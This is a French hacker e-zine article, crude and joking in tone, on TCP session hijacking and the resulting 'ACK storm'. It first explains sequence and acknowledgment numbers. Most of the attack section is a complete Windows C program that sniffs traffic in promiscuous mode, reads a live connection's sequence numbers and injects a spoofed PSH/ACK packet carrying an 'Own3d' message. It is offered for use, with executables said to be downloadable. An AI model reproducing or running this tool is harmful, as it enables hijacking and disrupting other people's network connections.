.-- -- ---- ----. ___| MKD1001\010 |____ _ ___________ _ ___________________________________ | '---------------' | | | | .---- - ----------------- - ---------------------------------- - --. . '-----' '---' Ack Storm AKA Une tempete dans un routeur Ack Storm I)Intro -------- Plop tout le monde. Vous avez sans doute deja entendu parler du protocole TCP/IP peut etre meme des attaques Man In The Midle et si vous etes un ouf meme de la grippe aviaire. Bah nous on va faire pire que la grippe ^^. Pendant que j'ecris ce texte que les Russes battent le Kazakhstan au hockey et que le Canada ce fait demonter par les Suisses, la grippe aviaire ce repand tel un fleau malsain. Elle est desormais partout et personne ne peut plus lui echapper. Minkind est deja contamine, ses auteurs ne savent plus ce qu'ils disent, tremblent, bavent partout et surtout le pire !! codent des truks qui font n'importe quoi. C'est dans ce climat de delire psychopathique que je dois ecrire cet article... Ne soyez pas trop dur avec moi, je ne suis desormais plus responsable de mes actes ! II)L'homme entre 2 fesses -------------------------- Un jour l'homme a cree la machine ultime, l'ordinateur!. Mais il trouvait triste de voir ces bebetes seules alors il fit une chose monstrueuse, il les relia entre elles OMG !!!! le magnifique protocol TCP apparu (snirf ..c'est trop beau faut que je me tape une queue...) ****Une queue plus tard**** Ha ca fait du bien (pour les filles qui me lisent bah ...envoyez moi vos mails :) /me is alone snirf) Bref finit de pleurer sur mon sort et place au coding. Il faut savoir que le protcol TCP fait parti de la 3 eme couche du modele OSI, celle qui est charge de transporte lesdonnes, de verifier quelle n'ont pas ete alteres. D'un point de vu technique c'est un put1 bordel pour faire tout ca :) Voici a quoi ressemble un packet TCP: TCP Header Format 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | SN +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | ACK +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Nous allons uniquement nous interesser a l'echange de donnees, pour ceux qu'il veulent tout connaitre aller la [FRAMEIP] je desisgne par C le client et le serveur par (attention ya un truk de fou que jvais dire la ..) S. C envoie un packet a S il envoie un packet avec les flags Push et Ack activé et leurs propre SN et ACK. C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S S repond avec le flag Ack pour dire qu'il a bien recu le colis. S-- flag(Ack) SN=2,ACK=1+10=11->C et ainsi de suite C-- flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S S-- flag(Ack) SN=2,ACK=11+3+14 ->C . . . [HJK] Le but de notre attaque sera d'injecter un packet qui possedera les bons SN et ACK avec une ip spoofée et le champ IP valide pour ce faire passer pour le client. Pour cela nous devont Sniffer le reseau et oui vous ne pourrez pas le faire sur le net enfin sauf si vous etes malin ;). Le schema precedent devient avec dans le role du mechant H le hacker :) C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S S-- flag(Ack) SN=2,ACK=1+10=11->C H-- IP SPOOFE flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S S-- flag(Ack) SN=2,ACK=11+3+14 ->C oups !!! HolyShit!!! La ca devient le bordel :s, le client recoie un packet ACK alors qu'il n'a rien envoyer il envoie un ACK au serveur celui ci fait la meme chose la connection est desynchronisee c'est un ACK STORM !! les ack volent sur le reseau comme une nuee d'oiseaux malades ! Bref voila le chtit code qui fait mieux que la grippe: N'oubliez de preciser l'addresse de votre carte rezo ! -------------CUT HERE---------------- #include #include #pragma comment(lib,"ws2_32.lib") #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) #include "struct.h" char IP_USURP[16]={0}; //Ip distante int PORT_DEST=0; bool resolve_name(char *ip) { hostent * pHE; if ((pHE = gethostbyname(ip)) ==NULL) { printf("Gethostbyname failed: %d\n",WSAGetLastError()); return false; } struct in_addr buff; memcpy(&buff,pHE->h_addr_list[0],sizeof(struct in_addr)); printf("%s\n",inet_ntoa(buff)); strcpy(IP_USURP,inet_ntoa(buff)); return true; } void initWSA() { WORD wVersionRequested; WSADATA WSAData; wVersionRequested=MAKEWORD(2,2); if ((WSAStartup(wVersionRequested,& WSAData)) !=0 ) { printf("WSAStartup failed: %d\n",WSAGetLastError()); exit(-1); } } SOCKET Socket; bool InitSocket() { int optval=1; Socket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW,NULL,0,0); if (Socket == INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return false; } if (setsockopt(Socket, IPPROTO_IP, 2, (char *) &optval, sizeof(optval))== SOCKET_ERROR) //IP_MULTICAST_IF { perror("setsockopt"); WSACleanup(); return false; } return true; } SOCKET Socket2; bool InitSocket2() { struct sockaddr_in SockAddr; Socket2 = socket(AF_INET, SOCK_RAW, IPPROTO_IP); DWORD BytesReturned; int I = 1; if (Socket2 == INVALID_SOCKET) { printf("Socket2 failed: %d\n",WSAGetLastError()); exit(-1); } memset(&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_addr.s_addr = inet_addr("192.168.0.3"); //addresse de votre carte rezo ! SockAddr.sin_family = AF_INET; SockAddr.sin_port = 0; if (bind(Socket2, (sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n",WSAGetLastError()); return false; } if (WSAIoctl(Socket2, SIO_RCVALL, &I, sizeof(I), NULL, NULL, &BytesReturned, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n",WSAGetLastError()); return false; } return true; } void CreatePacket(char *ip_src,char * ip_dest,u_short port_src,u_short port_dest,int acknum,int isn,u_short win,char flags,u_short ipid) { printf("%s\n",ip_src); IP_HDR *iphdr; TCP_HDR *tcphdr; PSD_HDR *psdhdr; char data[4096]="Own3d by Ivanlef0u"; printf("TCP Packet Maker By Ivanlef0u\n"); u_int frago=0,ttl=0,mf=0,df=0; u_int syn=0,ack=0,urg=0,fin=0,rst=0,psh=0; u_int urgptr=0; printf("4.Fabrication de l'entete IP\n"); iphdr = (IP_HDR *) malloc(sizeof(IP_HDR)); memset(iphdr,0,sizeof(IP_HDR)); char ip_len = sizeof(IP_HDR) / sizeof(unsigned long); //Taille en multique de 4 octets (unsigned long) de l'en tete IP (ici 5) char ip_version = 4; iphdr->verlen = (ip_version << 4) | ip_len; iphdr->tot_len=htons(sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data)); iphdr->id=htons(ipid); iphdr->offset=htons(iphdr->offset|=0x4000); iphdr->ttl=128; iphdr->protocol=IPPROTO_TCP; iphdr->saddr=inet_addr(ip_src); iphdr->daddr=inet_addr(ip_dest); iphdr->checksum=in_cksum((u_short *) iphdr, sizeof(IP_HDR));; printf("Fabrication de l'entete IP: [OK]\n"); /* int flags=0; if (fin==1) flags+=0x01; if (syn==1) flags +=0x2; if(rst==1) flags+=0x04; if(psh==1) flags+=0x08; if(ack==1) flags+=0x10; if(urg==1) flags+=0x20; */ printf("5.Fabrication de l'entete TCP...\n"); tcphdr = (TCP_HDR *) malloc(sizeof(TCP_HDR)); memset(tcphdr, 0x0, sizeof(TCP_HDR)); tcphdr->sport=htons(port_src); tcphdr->dport=htons(port_dest); tcphdr->seqnum=htonl(isn); tcphdr->acknum=htonl(acknum); tcphdr->DataOffset=(5) << 4; tcphdr->Flags=flags; tcphdr->Window=htons(win); tcphdr->UrgPointer=0; tcphdr->Checksum=0; printf("Fabrication de l'entete TCP: [OK]\n"); printf("6.Fabrication de la pseudo entete TCP...\n"); char tampon[65535];//tampon pour le checksum TCP psdhdr = (PSD_HDR *) malloc(sizeof(PSD_HDR)); memset(psdhdr, 0, sizeof(PSD_HDR)); psdhdr->saddr=inet_addr(ip_src); psdhdr->daddr=inet_addr(ip_dest); psdhdr->useless=0; psdhdr->protocol=IPPROTO_TCP; psdhdr->length=htons(sizeof(TCP_HDR)+strlen(data)); memcpy(tampon,psdhdr,sizeof(PSD_HDR)); memcpy(tampon+sizeof(PSD_HDR),tcphdr,sizeof(TCP_HDR)); memcpy(tampon+sizeof(PSD_HDR)+sizeof(TCP_HDR),data,strlen(data)); printf("Fabrication du pseudo entete: [OK]\n"); tcphdr->Checksum=in_cksum((u_short *) tampon, sizeof(PSD_HDR)+sizeof(TCP_HDR)+strlen(data)); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = iphdr->daddr; char *packet=NULL, *ptr=NULL; u_short packet_size=sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data); packet = (char *) malloc(packet_size); ZeroMemory(packet, packet_size); ptr = packet; memcpy(ptr, iphdr, sizeof(IP_HDR)); ptr += sizeof(struct iphdr); memcpy(ptr, tcphdr, sizeof(TCP_HDR)); ptr += sizeof(struct tcphdr); memcpy(ptr, data, strlen(data)); printf("7.Envoie du paquet\n"); if (sendto (Socket, packet, packet_size, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == SOCKET_ERROR) { perror("sendto"); } printf("Paquet envoye\n"); free(iphdr); free(tcphdr); free(psdhdr); } void CapturePacket() { printf("Capture en cours\n"); char RecvBuf[65535]={0}; u_short ip_id=0; u_int win=0; int i=0; while (i<1) { memset(RecvBuf,0,sizeof(RecvBuf)); recv(Socket2,RecvBuf,sizeof(RecvBuf),0); IP_HDR *pIpHeader; TCP_HDR *pTcpHeader; pIpHeader=(IP_HDR *)RecvBuf; //Adresse du pointer ip est egal au debut de l'header IP pTcpHeader=(TCP_HDR *)(RecvBuf + sizeof(IP_HDR)); //Adresse du pointeur header TCP char srcIP[16], destIP[16]; SOCKADDR_IN sasource, sadest; int data_len=ntohs(pIpHeader->tot_len)-sizeof(IP_HDR)-sizeof(TCP_HDR); sasource.sin_addr.s_addr=pIpHeader->saddr; strncpy(srcIP,inet_ntoa(sasource.sin_addr),16); sadest.sin_addr.s_addr=pIpHeader->daddr; strncpy(destIP,inet_ntoa(sadest.sin_addr),16); if (pIpHeader->protocol==IPPROTO_TCP && strcmp(destIP,IP_USURP)==0) //on recupere l'id du dernier packet envoyer { ip_id=ntohs(pIpHeader->id); printf("Id: %d\n",ip_id); win=ntohs(pTcpHeader->Window); } if(pIpHeader->protocol==IPPROTO_TCP && strcmp(srcIP,IP_USURP)==0 && ntohs(pTcpHeader->sport)==PORT_DEST) //si on recoit un packet tcp { CreatePacket(destIP,IP_USURP,ntohs(pTcpHeader->dport),ntohs(pTcpHeader->sport),ntohl(pTcpHeader->seqnum)+data_len,ntohl(pTcpHeader->acknum),win,0x18,ip_id+1); i++; //un seul packet suffit } } } void main(int argc, char *argv[]) { if (argc<3) { printf("Usage is: \n"); exit(-1); } printf("Verification des donnees entrees...\n"); if(strlen(argv[1])>255 || (atoi(argv[2]) <0 || atoi(argv[2]) > 65535 ) ) { printf("Erreur dans les donnees entrees\n"); exit(-1); } printf("Verification des donnees: [OK]\n"); PORT_DEST=atoi(argv[2]); initWSA(); if(resolve_name(argv[1])==false) exit(-1); if(InitSocket()==false) exit(-1); if(InitSocket2()==false) exit(-1); printf("Waiting for Orders.. (Push me)\n"); system("PAUSE"); CapturePacket(); WSACleanup(); closesocket(Socket); closesocket(Socket2); } -------------CUT HERE---------------- EMail: ivanlef0u119@yahoo.fr WebSite: http://membres.lycos.fr/moi118118/ Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind. References ------------ [FRAMEIP] http://www.frameip.com/accueil/ [REDKOD] http://www.redkod.org/ [MSDN] http://msdn1.microsoft.com/en-US/default.aspx [HJK] http://www.madchat.org/reseau/hijacking/hijacking.htm .-----. .---. | '----- - ------ - ------- - ------------------------------------- -' | | | |______ _ ________________________________.--------------------.______ _ ____| | by IvanLeFou | '--------------------'